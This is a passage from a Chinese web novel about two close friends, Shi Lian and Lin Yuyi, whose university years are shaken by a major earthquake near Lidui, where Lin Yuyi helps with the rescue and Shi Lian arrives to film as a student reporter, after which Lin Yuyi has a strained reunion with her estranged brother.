她们表面互补,内心无限贴近。她们既互补,又在内心最柔软处同病相怜。或许,这才是她们能成为朋友,或者说挚友的真正原因吧。 …… 高中一天天过去,时间一晃眼就来到大学。 大一是林羽翼飞速成长的一年,同样也是师涟愈加成熟的一年。 为什么要读书? 初高中时,师涟想得很简单,因为她只会读书。 好好读书,考个好成绩,读个好大学,找个好工作,让爸妈过上轻松的日子——对师涟来说,这句话并非虚无缥缈的空话,她一直清晰地知道,自己没有别的特长,只有读书这一条路。 所以她好好读书,保持着十年如一日的自律生活,毫不费力地考上川城大学医学院。她想着,大学读出来就能当个医生,保住下半辈子铁饭碗。 可是真正读上了大学,她的情况悄然改变了。 一是父母那边,母亲和父亲的生意做得很不错,家里一天天地往上走,不需要师涟再做什么,他们便已经过得很轻松。师涟不需要再为他们付出什么,她只需要照顾好自己。 二是师涟自己,她发现自己并不喜欢学医,她对大一上学期的化学、生物基础课没兴趣,更反感期末的解剖课。那节课的实验动物是一头黑山羊,它被牵进教室时,好奇地抬头打量四周,嘴里发出“咩咩”叫声,可十几分钟后,它已经倒在解剖台上。 在放血时,师涟帮老师摁住黑山羊,黏腻的血液沾了她满手。 师涟不能立刻去洗手,她还得蹲在原地,等老师剥把黑山羊皮、去骨,仔细地讲解给他们听才行。半小时后,师涟去洗手间时,血液已经彻底凝固在她手上,带着一股浓郁的腥臭味。 师涟没有吐,她面无表情地看着手掌、手背上的痕迹,一遍遍清洗着。冰凉的 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其实师涟对新闻兴趣不大,她更倾向于传媒相关的专业,比起新闻,她更想当导演。但这年头,“新闻”比“传媒”的名声要好得多,更何况传媒编导那边都是艺术生,师涟想要转过去,阻力会很大,她自己也会觉得有一点点“划不来”。 那就从新闻学开始吧,等到了读研读博的阶段,还有额外的选择机会—— 在师涟的规划中,她不一定会读博,但应该会顺应学校的安排,推免读研。她们学校的学生,几乎大半能获得推免资格,而推免生里的大半呢,基本都是去国内最高等的那所学府。 京城,清北。 高中的时候,师涟从未想过读清北,她知道自己考不上,就算有可能考上,也得费尽全力拼命努力才行,她不想那么累。 而现在上了大学,她只需要按部就班按照自己的安排一步步走下去,就能轻易保研去那里。 大三,寒假,师涟参加了清北传播学冬令营,初步了解那边的环境,认识了几位导师。暑假,在夏令营里,她成功获得传播学导师的内推资格。大四开学,她通过校内推免答辩,正式敲定了前去清北读研的事儿。 在本科阶段,师涟就能靠着拍照片、写新闻稿赚够生活费,等她到京城读研究生,还可以试试去接广告拍摄、平面拍摄,赚钱的机会只多不少。 毕业后更不用忧心什么,顶级学府毕业的她,还担心找不到好工作?退一万步说,就算找不到,回家继承父母的店铺,也够她一辈子衣食无忧。 一切都很顺利,唯一让师涟放心不下的,是林羽翼。 ——她心底最特殊的存在。 本科时她和林羽翼已经算是相隔两地,三五月才能见一次面,可始终都在蜀都附近。她要是一个人去了千里之外的京城,留林羽翼一人在蜀都,她总觉得…… 不放心。 不知从什么时候开始,林羽翼在师涟心里的形象,从最开始那个男孩子气十足、活力满满的“假小子”,变成了一个娇弱可爱——甚至有点娇柔的小姑娘。 随着年龄的增长,师涟长得越来越高,越来越有劲儿,可林羽翼的身姿依旧如初见时那般纤薄,那般瘦削。她和林羽翼一起逛街时,林羽翼依旧会蹦蹦跳跳满是活力地走在前面,可没一会儿就走累了,退回来哼哼唧唧地扒在她肩膀上喊累。 “师涟,我好累嘛……” “师涟,你扶着我。” “涟涟你最好啦。” 脸颊嘟起,眼睛一眨一眨,可委屈了。 又很可爱。 这样可爱的林羽翼,怎样能不激起师涟的保护欲呢?师涟想要做那个能够保护林羽翼的人,就像高中时林羽翼保护她一样。 可她能怎样保护林羽翼呢? 退一万步说,就算她能,她有什么资格保护她呢? 她们是两个相互独立的个体,是两个成年人,让她们发愁犯难的事情不再像高中那样只有学习一样。 林羽翼糟心的家庭情况,欠的那一大笔债款,还有学校里遇到的一件件糟心事儿:被造谣,出国资格没了,被那恶心的男生追着表白…… 一件一件,糟心透底的事儿。 作为朋友,师涟帮不了林羽翼什么,更别谈保护。 在蜀都是如此,等她去了京城,两人相隔千里,就更是如此。 上次林羽翼被那男生骚扰的时候,自己虽然什么都做不到,可好歹能陪在林羽翼身边。那么下一次呢?如果下一次自己已经到了京城,就不能陪在林羽翼身边了,那林羽翼她…… 她一个人遇见这种事,该有多无助多惶恐啊? 师涟想都不敢想,她不忍心去想。 所以,师涟一直在犹豫,犹豫要不要去京城读研,在本科毕业前,她都有反悔的机会。 师涟一直是个很清醒的人,她自己做不到的事情,她便从来不去想,从来不去规划,她一直看得很透彻。 一直到二十二岁这一年,即将迎来的那场分别,让师涟第一次对自己的未来产生了迷茫的情绪。 她不想去清北了,她动摇了。 她想…… 想要留在蜀都。 她想…… 留在林羽翼身边。 她一次次地说服自己,就算留在蜀都,在本校读研,她也能有很好的发展——就算不读研,她也能直接进本地的电视塔工作,同样是铁饭碗,和她的规划没有大出入,她有什么可挑的呢? 迷茫痛苦地等待着时间流逝,等待着自己不得不做出最终抉择的那段时间里,师涟又看了一遍《大话西游》。 第一遍看的时候是在高一,在史小诺家里,和组里的同学们一起看,五个人,只有师涟看哭了。 那时师涟是为了紫霞仙子而哭。 这一回,她依旧看哭了,却是为了齐天大圣而哭—— 不戴金箍救不了紫霞仙子,戴上金箍却不得不离她而去,哪儿有这么惨的人啊!就没有什么两全的法子吗? 真的没有吗? 师涟犹豫了很久很久,纠结了很久很久,痛苦了很久很久,可是还没等她作出决定,她便等来了……那场大地震的消息。 那天上午,林羽翼在Q丨Q上说,她坐上前往离堆的大巴车,去兔场实地观察,为毕业论文做最后的修改。 师涟回复说:[祝你顺利。] 林羽翼:[如果有空我就去逛逛离堆古城!看鱼嘴!给你发照片!] 师涟:[好,我等你的照片。] 下午,午休还未结束,师涟正在图书馆里安静地看书,忽然感觉一阵地动山摇,原本安静的图书馆倏地响起同学的惊呼声、慌乱的脚步声。 “地震了!地震了!” 师涟惊惶起身,跟着人群从消防通道跑下楼,跑到一楼拐角时,房顶吊顶忽的砸下来一块,砸在她面前的地面,如跳水运动员激起的水花般四溅成碎片。 师涟没被砸伤,她快步跃过吊顶碎片,迅速冲出图书馆后门,奔向空旷的大广场。 一边大口喘气,一边本能地掏出手机,没等她按键,母亲的电话便打进来,相互报了平安,电话信号不太好,很快挂断。 师涟手指颤抖着拨通另一个号码。 林羽翼。 没有拨通。 半个小时后,师涟从学校广播得知,地震的震源在川西北,距离林羽翼所在的离堆只有五十四公里。 只隔了一座山。 霎时间,师涟脑海一片空白,巨大的无力感沿着脊椎往上蹿,占据整个大脑。手机从手里滑落,她没有去捡,整个身体抖得厉害。 林羽翼在震中附近,就在震中附近啊……! 可是自己什么都做不了,甚至连电话都打不通,不知道林羽翼现在的情况,不知道她具体的位置,不知道她有没有受伤,不知道她…… 是不是还活着。 50.第3章 【5月12日,入夜,离堆,大雨。】 短暂的休息时间里,林羽翼一屁股坐在帐篷边缘,也不顾地上的淤泥与满身污渍,大口大口地吞着面包。她的目光焦灼集中在手机屏幕的光点上。 屏幕碎了一角,雪花似的纹路向四周延伸,沾上了灰扑扑的血泥。屏幕是被林羽翼的手指染上血泥的,她的手指太脏了。她在坍塌的废墟边徒手挖了几小时,整个手掌早已血肉模糊,刚刚才稍微清洗了下。 但林羽翼依旧能看清屏幕上的字。 信号为零。 她面无表情地按下发送键。 这已经是她第五次点击发送了—— 地震第一时间,她就给王心宜和师涟打了电话,可始终没打通。没有通讯信号,她便把希望寄托在网络上,只要有那么一点点流量,够她发消息就好。 Q丨Q登不上去,她只能用离线网页编辑博客。 帐篷外,夜色已至,大雨噼里啪啦地下着,本该是无比宁静的雨夜,噼啪的脚步声、凄厉的哭喊声、微弱的呻吟声、悲愤的咆哮声却交织在一起,掩盖了雨声。 今夜注定是个不眠夜。 “有没人来搭把手!这里的伤员需要包扎!” “有没有医生护士!有没有人!” “就来!” 林羽翼用力吃完最后一口面包,仰头灌一大口水,不抱希望地最后看一眼手机,心想,这次还是发送不出去,那就算了。 忽的,她诧异挑挑眉。 屏幕上显示着“发送成功”四个大字。 林羽翼没有多看一眼,她立马把手机扔进包里,套上堆在地上脏兮兮的白大褂,迅速冲进雨中。她哒哒哒踩着水,迅速跑到担架旁,短短几步路,她本就湿漉漉的长发又一次被淋个透彻。 担架下没有雨,有人打着伞。 担架上躺着的是个十岁出头的男孩,满脸泥灰,一只手臂血肉模糊,快要失去意识,旁边有人给他喂着水。林羽翼拾起他的手臂,紧紧咬着牙,面无表情地一圈一圈用力包扎。 做完止血处理后,立刻有人抬起担架,把男孩抬向远处的帐篷。 林羽翼没有休息的时间,又一个担架从废墟里抬了出来。 “医生!医生在吗!” 林羽翼不是医生,她只是个学兽医的,但这时她也只能硬着头皮上。 这次,担架上的小男孩被绿色的被子裹住,林羽翼打开被子,看见男孩此时的模样,脸色微微一僵,然后她弯腰用听诊器听了听心音,什么都没听到。 她摇摇头,旁边人立马把被子裹上,抬去操场中央,那里已经“躺”了很多人。 随即,林羽翼听到身后传来撕心裂肺的哭声,大抵是孩子家长认出了人。 她没有时间悲伤、没有时间感慨、没有时间停下来,又有人从废墟里被挖了出来。 一个接一个。 …… 雨下了一夜。 救援一刻也没有断,不停有人从废墟中被抬出来,可惜,到了后面,没气的占大多数。林羽翼有时往身后的操场看一眼,只看见无数手电光交织,闪来闪去,那是家长在找他们的孩子。 林羽翼不知道自己是什么时候回到帐篷里睡去的,也不知道自己睡了多久,闭眼时天是亮的,头是晕的,外面雨声人声交杂不断,睁眼时天依旧是亮的,头依旧是晕的,外面人声雨声依旧交杂不断。 林羽翼惶然地掏出手机看了看,才上午十点过,信号依旧为零。 她吐口气,打开博客的离线页面,用胀痛的手指艰难地进行编辑。 【5月13日,晨,离堆,雨。】 她这时才发现,自己全身上下,就连指甲盖都疼得直抖抖,腰背几乎一点儿力量都没有。混着泥渣的长发死死黏在衣服上、皮肤上,很不舒服。 林羽翼撑起身子,漠然走出帐篷,在医疗点拿过剪刀,一把剪下浓密的长发。 她很快穿上白大褂,又一次前去废墟面前。 …… 晚上,手机断断续续有了点儿信号,但林羽翼运气不好,总是拨不出去电话。手机上倒是有几个未接来电,是王心宜、师涟幸运地拨进来的,可林羽翼那会儿正在忙,没接到电话。 好在网络讯号恢复得更快,林羽翼已经能顺畅地发出博客帖子、登上Q丨Q。可惜手机电量撑不到明天,林羽翼在Q丨Q上给师涟报了平安,委托师涟和王心宜说一声她现在的情况,便关了机。 全国各地的救援队伍陆续赶到离堆,第一支队伍已经深入大山,乘舟破浪沿着水库一路前去震中,离堆的伤重者则逐渐向蜀都转移。林羽翼这种半吊子兽医学生,终于能够退去二线。 这一夜,林羽翼睡得很沉很沉。 躺在帐篷的地铺上,听着周围声声杂音、脚步匆匆,林羽翼卸下浑身疲惫,一觉睡了个饱。很神奇的,她并没有像自己想象中那般做噩梦,反倒是一夜无梦,睡得香甜。 林羽翼自己也说不清,是自己心理素质强大,亦或只是,在这几日见多了生死之后,单纯地麻木了。 “嘶……”林羽翼醒来时已经接近正午,虽然睡够了,可她一起身,浑身上下依旧散了架似的疼。 她强撑着离开帐篷,囫囵吃顿早午餐,马不停蹄开始今天的忙碌。 退到后勤二线后,林羽翼加入了农大学生志愿者团队,她的任务依旧繁重。今天,是全国各地救援团队、志愿者团队赶来离堆的高峰期,林羽翼得跟随着学校的安排,与赶来救援的队伍进行交接。 林羽翼负责安顿的第一个队伍,是川城大学医学院的志愿者们。 印着“川城大学医学院”的大巴车停在路边,穿着白大褂的医生们从车上走出,林羽翼一边登记,一边为他们介绍着离堆城的现状,忽一抬头,她看见一台摄像机正对准自己的方向。 师涟扛着巨大的摄像机,从川城大学队伍末端,一步步走到前面,镜头聚焦在林羽翼身上。 透过摄像机镜头,林羽翼与她对视。 林羽翼看不见摄像头后师涟的表情,但林羽翼看见了她脖子上挂着的“记者证”的牌子。 刹那间。 林羽翼喉咙哽了一下,眼眶蓦的泛起温热酸涩的感觉,泪光浸湿眼底,她舔了舔唇,下一秒,便收回目光,继续为医生们介绍着。 没有时间惊讶,没有时间哭泣,没有时间叙旧。 稍稍安顿后,川城大学的医生们紧锣密鼓地投入救援工作中。林羽翼没有休息,立马就要赶去对接下一个团队。 师涟举着摄像机,一言不发沉默跟在她身后。 “你不去拍你们学校的人吗?”林羽翼步伐匆匆,没有时间回头看师涟,只是出声问。 “不用,校园记者团里不止我一个人。我跟着你便好,你是地震亲历者,你所经历的,同样很有价值。”师涟的语气如以往那般平静温柔,仿佛听不出额外的情绪,可她的声音却是哑的,林羽翼听出了明显的哽咽,“而且……我有些见不得前线和医院那边的场景。” 见不得血肉模糊,见不得生离死别。 “见不得你还来这里?”林羽翼语气分明是带着打趣的笑意,可是喉头却一直哽着,她没再多说话了,怕再说一句,自己就会忍不住哭出来。 师涟也没有再接话。 她只是安静地跟着林羽翼,将她的一举一动,记录在摄像机里。 忙碌的空隙,林羽翼时不时回头看一眼身后的师涟,前两天,她的心里一直没有什么情绪波动,说是坚强,其实更多是麻木空洞,而今天有了师涟一起,她感觉平静麻木的心灵之湖上再次荡起阵阵波纹,原本干涸空洞处一下子被温柔的湖水填补。 林羽翼觉得,自己好像又“活”了过来。 这种感觉,让她无比地安心。 一天的忙碌时间里,两人谁都没有多说什么,却又会在为数不多的休憩时光,默契地依偎在一起。林羽翼靠在师涟肩头,师涟脑袋靠着她的脑袋,两人都轻轻闭着眼,安静享受着这一刻的忙里偷闲。 今天又忙到了凌晨两三点。 好运的是,川城农大离堆校区赈灾点的洗漱淋浴间完工了,林羽翼今晚总算能洗个澡,把一身的泥腥和血味儿冲个干净。 “呼……”湿漉漉地离开淋浴间,林羽翼只觉得浑身舒坦,可是冲过热水澡后,原本就酸软发疼的身躯一下子更无力了些,林羽翼感觉自己虚得下一秒就要晕过去。 晕乎乎地回到帐篷里,林羽翼飘着脚步直接倒进师涟怀里,长长地吐气:“师涟,我好累啊……” 她摆一摆脑袋,蹭了师涟满身水。 “别动。”师涟一手托起她的脸蛋,一手拿起毛巾,温柔细腻地在她发丝上揉搓。营地里没有吹风机,没有多余的电,只能用毛巾擦干头发上的水。 林羽翼的头发剪得很短,没搓几下,便搓不出多余的水分了。 师涟挪开毛巾,林羽翼顺势翻身,躺在她怀里。 师涟的手指依旧托在林羽翼脑袋上,指腹探入微湿的发丝,轻柔地左右摸了摸。林羽翼乱糟糟散开的发丝随着她的手指,往左边倒,又往右边倒。 林羽翼闭着眼,舒适地打哈欠:“别摸了,怎么跟摸小狗似的。” 师涟手指没有动,她低头,气息呵在林羽翼鼻尖,语气轻缓:“你又剪了头发。” “嗯,长发不方便。”林羽翼摸了摸鼻尖,痒痒的,她打着哈欠说,“前两天这边在下雨,头发上沾满了泥,黏在身上不舒服,没地方可以洗,干脆全部剪掉。” 师涟“嗯”了一声。 很短促的气音,林羽翼却听出了心疼的情绪。 心疼她一个人在离堆,一个人经历地震时最无助的时刻,一个人奋战在救援前线…… 林羽翼觉得心里酸酸的,忽然有些受不了,有些想哭。 她侧过身子,转移话题:“短发……不好看吗?” “好看。”师涟轻柔但笃定的声音立即响起,“长发亦或是短发,你怎样都好看。” 长发是娇柔漂亮,却又隐约带着点儿英气的少女。 短发是初见时那般,身躯瘦削高挑,却又活力满满的小少年。 怎样都好看。 话音刚落,不等林羽翼吭声,师涟竟补充道:“只是,我更喜欢你留长发一些。” 林羽翼诧异抬眸,余光瞥向师涟的脸颊,窥探她此时的神情。 林羽翼与师涟认识快七年,第一次见面时,她便是短发,后来下定决心留长了,却又在高三那年剪短了,为了躲避要债人的追逐。那一次,还是师涟亲手帮她剪的头发。 林羽翼还记得,自己以前每次询问师涟的意见,问她自己长发好看还是短发好看,师涟都会这么说: “短发和长发都好看。” “剪短发还是留长发,不要在意别人的意见,看你自己的想法便好。” “你想要做什么,重点不在于别人如何想,只在于你自己。” 唯独这次,师涟说的是,她更喜欢林羽翼留长发。师涟的神情依旧柔和,看不出丁点儿异样,她低头凝视着林羽翼的发梢,目光专注。 林羽翼垂眸,低声道:“那我以后留长发,再也不剪了。” “……看你喜欢。”师涟的声音同样很轻,几乎听不见。 林羽翼伸个懒腰,撑起散了架似的身体,本想抱着膝盖坐起身,可实在太累,脑袋不受控制地往旁边一歪,便瘫靠在了师涟肩膀上。 师涟倒是一点儿不累似的,稳稳承接着林羽翼全身的重量。 林羽翼歪头,闻着她们身上香皂的淡淡清香,她忽然看见,师涟微微湿润的发丝缝隙下,原本白皙的脖颈皮肤泛着红。 扛了一天摄像机,师涟这会儿脖子肩膀也酸痛得不行吧。 “脖子酸吗?肩膀疼吗?我帮你摁摁吧。我学过中兽医——别看有个兽字,原理和中医一模一样,我可会按摩了。” 林羽翼强撑着坐直身子,往后挪一点点,双手捏在师涟肩上,手感有些硬,和她想象中的柔软不同。 “还好,不是很累。”师涟摇摇头,配合地放松肩膀,“我练了一年拳击,现在满身腱子肉,哪儿那么容易累?” 难怪师涟肩膀那么硬。 “你在学拳击?什么时候开始的?”林羽翼有些诧异。 很难想象,师涟这种时刻保持着优雅气质的乖乖女竟然会学拳击,可细细一想,又觉得理所当然。 师涟气质清冷优雅,是因为她本意如此,而非刻意端着。 她的本性是恣意的,是怡然自若的,她想优雅端庄,便优雅端庄,想转去新闻专业,便转就是了,想学拳击,那就学。 她怎样做,只取决于她怎样想,从来不会在乎他人看法。 “去年。”师涟垂眸,似是犹豫片刻,很轻地补充道,“五月左右吧。” 去年五月前后…… 林羽翼捏在师涟肩膀上的手指忽的僵硬一瞬,她想起那时发生了什么,鼻尖涌起轻微酸涩的感觉,那种感觉越来越浓,渐渐连呼吸都变得困难。 林羽翼停下手里按摩的动作,手指无力地往下滑,脑袋埋在师涟肩上。 “师涟……”林羽翼声音仿佛晕染上一层模糊的水汽,她吸了吸鼻子,手臂无力环在师涟腰侧,“我想抱着你哭一会儿。” 一闭眼,眼泪便止不住,沿着眼角不断地往外涌。 鼻尖酸得发疼。 林羽翼抑制不住地大哭。 不是为去年的遗憾而哭,是为这两天自己所经历、所看见、所遇到的一切而哭。 悲怆、愤怒、无力,还有阵阵后怕,以及对生死的恐惧与麻木,面对天灾时所有所有的情绪杂糅在一起,在这一刻尽数释放。 “师涟,你知道吗?地震来临的时候,我亲眼看见那些房子像纸板一样倒下,那么坚固的房子,一下子就垮了,我……” “我好害怕。” “你知道吗?离堆县城受灾最严重的地方,一是医院,二是学校。那所小学就在农大不远处,那天我一直在哪里帮忙,挖出了好多人,可是……可是。”她说不下去了。 “我好难过。” “我……” 林羽翼再说不下去,她埋在师涟背上,感觉着温热的泪滴从脸颊滑落,一点点沾湿师涟的衣服。感觉着师涟指腹温柔安抚过自己的手背、手掌,很轻,却为她注入无尽的勇气与力量。 让她觉得安心。 啜泣的声音越来越低,直至停止。 林羽翼吸一吸鼻子,师涟转过身帮她擦眼泪,她这才看见,师涟脸颊上也留着两道泪痕。 师涟刚才也在哭。 林羽翼哽咽地笑,抬手拭去师涟脸颊上的痕迹:“你哭什么?心疼我啊。” 师涟认真看着她,脸上泪渍还没有干,瞳孔里缓缓浮出一丝后怕的的笑意,她轻声呼气:“地震刚发生那会儿,我差点以为再也见不到你了。” 师涟声音很轻,脸上浮着浅笑,林羽翼却听出了她短短一句话里,暗藏着多深的恐惧。 “这不是见到了吗?”林羽翼脑袋重重磕在师涟肩头,她笑着出声,鼻音还很重,肩膀随着她的笑声而颤抖。 师涟手指搭在她的脊背上,轻柔地一拍一拍。 …… 林羽翼接着在离堆周边呆了一周,前几天是作为后勤,后几天,农大动医院的志愿者大部队到了,林羽翼便和他们汇合,对离堆城周边的养殖场进行排查,无害化处理动物尸体。 一方有难,八方支援,在这场大地震发生后,各行各业的救援人员、志愿者们,都在尽自己所能,为震区出一份力。 白天,林羽翼跟随着大队伍翻山越岭,勘察过一个个已经坍塌损毁的养殖场。 夜晚,林羽翼和师涟一起整理当天拍到的新闻素材,师涟将写好的新闻稿发往川城大学,林羽翼则将一天里的所见所闻记录在博客上。 刚开始那几天,她什么也写不出来,她觉得 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林羽翼深呼吸几次,强迫自己冷静下来,一条一条浏览博文下的评论。 有夸她的,有感谢她的,但也有少数几条骂她的,指责她不应该用如此冷静没有温度的笔吻描绘大灾难。和以前不一样的是,评论区里再没有无休止的争吵了。 林羽翼隐约意识到,自己的文风真的和以前不同了。 以前她写生活,写日常,大多都是轻快明了的。而现在,她的文字像是沉沉刻在屏幕上似的,力量感十足。 她依旧留白,依旧在文字里留有情绪空缺,可这份空缺不再需要由评论区来填补。阅读她的文章后,读者无形思考的那一段时间,那份情绪空缺就已经补足了。 林羽翼忽然回想起高中,那时,她很羡慕申树,羡慕申树的文笔,羡慕申树在文字上的天赋。 申树那么温婉的女孩,却能写出满是力量的激昂文字,林羽翼羡慕极了。 现在她也可以,稍稍操控文字了。 也不知道申树现在怎样了?当初那个善良、温柔,现在却劈腿伤害了刘明的女人。 “师涟……我到现在还不太敢相信,申树竟然会做出那种事……”林羽翼叹口气,想起刘明失魂落魄的样子,目光离开电脑屏幕,发呆一般道,“人心可真是难测。你说,她会有报应的吧?” “你信因果报应?”师涟手指轻轻搭在她肩上,反问道。 “我不信。”林羽翼摇摇头,“我不信命,可我信天道酬勤。” 师涟微微垂眸,轻笑:“申树她不‘勤’。” 林羽翼下意识想反问“你怎么知道?”,可想了想,她若有所思地点点头:“师涟你说得对。” 如果申树是聪明刻苦的人,那她就不会身在广都中学最好的班级里苦学三年,最后却只考上一个二本大学。如果申树是踏实的人,她便不会抛弃同样踏踏实实的刘明,转而去和没读书的黄毛小混混谈恋爱。如果申树是努力的人,那么她便不会落下那么多大学课业,让刘明帮她解决。 既不踏实,又不刻苦,还不知努力,何来天道酬勤?哪儿来的“勤”? “再等几年看看吧。”林羽翼撑着下巴,唏嘘叹口气。 “行,等几年,现在先看看别的。”师涟拿一颗葡萄,送到林羽翼唇边,“我妈让我来问你,下午和我们一块儿去看房吗?” “看、看房!”林羽翼眼睛骤然瞪大,惊喜道,“师涟你们要买房啦!” 师涟点头:“震后广都房价腰斩,爸妈准备趁这机会看看。” 林羽翼下意识想拒绝,师涟家买房,她一个外人去干嘛?可她知道,师涟问出来,便是不希望她拒绝。 不许她拒绝。 林羽翼抿抿唇,压下紧张不自在的情绪:“那……去吧。” “我妈就等你这句话呢。”师涟笑着说,“我妈和我都没买房的经验,你也可以多提提自己的意见,免得我们没想到呢?” “好。” …… 地震发生后的离堆城里城外,一眼望去,几乎是山河破碎,满目疮痍,尤其受灾最重的几处建筑附近,全是断壁残垣,碎砖断瓦洒了满地。 林羽翼离开离堆时,市区的救援工作已经接近尾声,可街道四周依旧冷冷清清,居民们防着余震,不敢回家,依旧住在各大安置点里。 城里是冷清的,但并不死寂,河边安置新房已经开始动工,原本荒凉的河滩变成尘土飞扬的工地,围墙上挂着“山水依然在,信心更坚强”的标语,它们承载着活下来的人们对未来美好生活的期望。 位于蜀都城南的广都却是另外一番景象。 街边一栋栋崭新的高楼拔地而起,街上来往人群与车流挤挤攘攘,初夏高温蒸腾的空气中混杂着四面八方嘈杂的声音,仿佛地震没在这里留下任何痕迹。 当然,只是仿佛。 古旧的城北石拱桥再不能过人,旁边新起了一座气派彩虹桥,城郊好几栋上年头的小屋变得摇摇欲坠,干脆被轰隆隆炸掉拆了。 城中呢? 地震发生前,正是广都房地产炒得沸沸扬扬的时候,河边新修的电梯公寓“加纳城”甚至能卖到五千元一平,城里的小区呢,也基本都涨到了四千来元。 而这一场地震,让“加纳城”的房价直直降到了三千,城里商品房均价更是降到两千来元,比两三年前都要低。 孙阿姨正好存了一笔闲钱,便想着趁这机会把房子买到手。 她们一天里逛了五家售楼部,前四家都是新修的电梯公寓,其中两家还没完工呢,最后一家是老式的步梯小区。 孙阿姨原本想买电梯,但最后却看上了那家步梯小区—— 虽然是步梯,可小区占地面积接近三百亩,小区内是漂亮清新的园林设计,还拿过国际园林奖呢。从小区大门走进去,便是一步一景,沿着青石小道一路往前,欣赏着四周树木与花叶交织,听着溪水声声,仿若来到苏州古镇。 小区分为三期,前面两期已经修好四年,可是青砖白墙的设计一点儿也不显得老旧,不管是远观还是细看,都透着一丝优雅古典的气息。 五月末,蜀都的气温已经飙升至三十摄氏度,可小区里树木郁郁葱葱,走在树荫下,能明显感觉到气温降了许多。不像那些新修的电梯房,小区修得四四方方,一眼望去就那么几棵树,哪儿有什么绿化可言? 孙阿姨对这所步梯小区爱得很呢,仅仅是在小区里逛了逛,她便急匆匆地想去看现房,还想买五跃六的跃层设计,带一个大花园儿呢! 站在顶层的私家花园里,视野很好,左边能降小区里的园林景色尽收眼底,皂角树、银杏树、楠木与蓝花楹树叶交织,隐约能看见树丛缝隙里小桥流水一片清幽。向另一边看呢,则是市场边一望无际的小树林,再远是府河,只是这里看不见。 “这地方好啊,好啊!师涟,小鸟,你们说是不是?”孙阿姨兴致勃勃地问。 林羽翼恍惚地点了点头。 她忽然想起来,这里,在许多年前,似乎是氮肥厂——在她还是小孩子的时候,哥哥工作的地方,她还去厂里玩儿过几次呢。 而如今,物不是人也非。曾经的工厂变成了园林小区,而王登高他,他…… 林羽翼用力晃晃头,呼出一口难受的浊气。一年多过去,她心里的伤痕依旧,她不知道该怎么面对王登高,甚至打心底不想见他。 就算…… 就算地震发生后,林羽翼第一时间便是想给王心宜打电话报平安。就算震后信号恢复后,林羽翼打通王心宜的电话,终于和她和王登高联系上了。就算王心宜二人已经从沪城风尘仆仆赶回蜀都,早已回到了新村的小院,在那里等着林羽翼。 林羽翼依旧……抗拒着。 可总要回去一趟的。 总得去见一见。 51.第4章 广都还是那个广都。 新村依旧是那个新村—— 是个坐落在蜀南某个不起眼的角落,田野广阔,树林荒芜,人烟稀少的小村落。 林羽翼和师涟坐上公交车,看着窗外建筑越来越少,人影越来越稀,视野被无尽田野所占据,林羽翼便知道要到村里了。 林羽翼心跳很闷,不急、不徐,就是闷。她不再看窗外的景色,脑袋往旁边一篇,落在师涟的肩膀上,轻飘飘往下埋。 “师涟,我、我……”林羽翼缓缓呼气,声音愈来愈沉,“我真不知道待会儿要怎么面对我哥。” “嗯。”师涟点头,表示自己无比理解林羽翼的心态,“我陪着你。” 正说着,林羽翼兜里的手机忽的震动起来,不用想也知道是谁打来的电话。 林羽翼轻颤的睫毛一滞,她本能握紧了师涟的手,从冰冷的指尖里汲取力量,另一只手摸索着拿出手机,接通电话。 “小鸟,我们在车站等你啦!你还有多久到?”手机里传出王心宜激动的声音。 “……快了。”林羽翼嘴皮微张,吐出气音,带着轻微的颤抖,“还有一站。” 一站路,走路要走十分钟左右,可坐车只需要两分钟。这两分钟在林羽翼这里,仿若只有一瞬间。 林羽翼看到了路旁树荫下那两个熟悉的身影。 王心宜穿着一身花花裙子,风一吹,裙摆向后扬起,像一只初夏旷野里轻盈漂亮的蝴蝶。她戴着顶草帽,林羽翼一眼就认出来,那是王登高编的草帽。 林羽翼跟着王登高和父亲卖过编织品,他们的手艺是怎样,她再了解不过了。 王登高站在王心宜身后,穿着身老式旧布衫,几乎是十年前的款式了,但洗得很干净。他下意识佝偻着脊背,像只弓着腰的大狗熊,却再没了流浪汉的气质。 远远看到公交车,王登高脊背倏地挺直,挺得笔直,一瞬间拿出了他在小区保安亭里站岗的气势。 他要给妹妹好生看看,他重新活回了人样。 这时的林羽翼却没有为哥哥感到高兴,在看见他的那一瞬,她全身上下仿佛被电击了一般,大脑一片空白,随即闪过去年开题会议时,自己一个人在黑暗楼梯拐角接电话的画面。 ——林羽翼同学,很遗憾通知你,经过我们与交换方学校核对,这次留欧公派留学项目,不接收动医专业的学生。 老师淡漠的声音在她空荡荡的脑海里回荡。 林羽翼皱紧眉头,心脏扭着痛。 …… 汽车到站。 随着一声刺耳的“噗呲”声,老式公交车门缓缓打开。王登高紧紧盯着车门处,见两个少女一前一后从车上走出,他眼睛都瞪大了些许,发着亮,他激动牵起王心宜的手,大步往前走:“林……” 可话到嘴边,王登高又有些忐忑。 这几年里,林羽翼来过沪城两趟,可王登高总觉得,自己对妹妹的印象,还停留在高中——高一高二的时候。那时林羽翼还是个留着一头乱糟糟短发,活蹦乱跳、元气满满的小孩子。 怎么一眨眼,就成大姑娘了呢? 依旧是一头微卷的狼尾短发,却再没小孩子气儿,整个人英气十足,眉眼里满满的自信,全然变了个样,王登高都有些不敢认她。 同时,王登高心里始终自卑,他不知道林羽翼会怎样想他,还会觉得他是个没人样的废物吗?他怕林羽翼会这样想,可他的确无法反驳。 王登高忐忑、又期许地看向从车上走来的林羽翼,等待着林羽翼是何反应。可是林羽翼压根没有看他,像是没看到他这个人似的,目光从他身上一扫而过,便笑盈盈地落在王心宜那儿:“心宜姐,好久不见!这是我最好的朋友,师涟。” “哥。”反倒是师涟礼貌笑着,朝王登高打了招呼。 王登高讪讪笑着,点了点头。他微微张了张嘴唇,看着林羽翼笑意灿烂地和王心宜说着话,一下子有些无措,目光都不知道该往哪儿瞟。王心宜放开了他的手,转而挽着林羽翼胳膊,三个女孩一块儿迈步往前走,王登高只得安静埋着头,跟在后边。 王心宜挽着林羽翼的手臂,一句一句问她地震时的事儿。 虽然早在电话里知道林羽翼没受伤,这会儿见了面,王心宜还是仔细上下打量她几遍,才彻底松口气。 “地震这几天里,可担心死我和你哥了!尤其是你哥他,他连班都不上了,请了假,每天都蹲在售票点那儿,抢回蜀都的车票呢。” 王心宜顺势说到王登高的工作:“小鸟,我告诉你,你哥这一年工作可卖力了!他混得也真不错呢,都快当上保安队长了!” 王登高挠挠头,有些骄傲,又有些羞涩地笑了笑,他看向林羽翼,他以为林羽翼会看他,会对他投来刮目相看的眼神,可是没有。 林羽翼只是淡淡地“哦”了一声,连笑容都淡了。 王心宜意识到气氛不对,她想了想,岔开话题:“小鸟,你在国外生活怎么样?出去一年左右,怎么都不给我说一声呢?” 空气骤然安静。 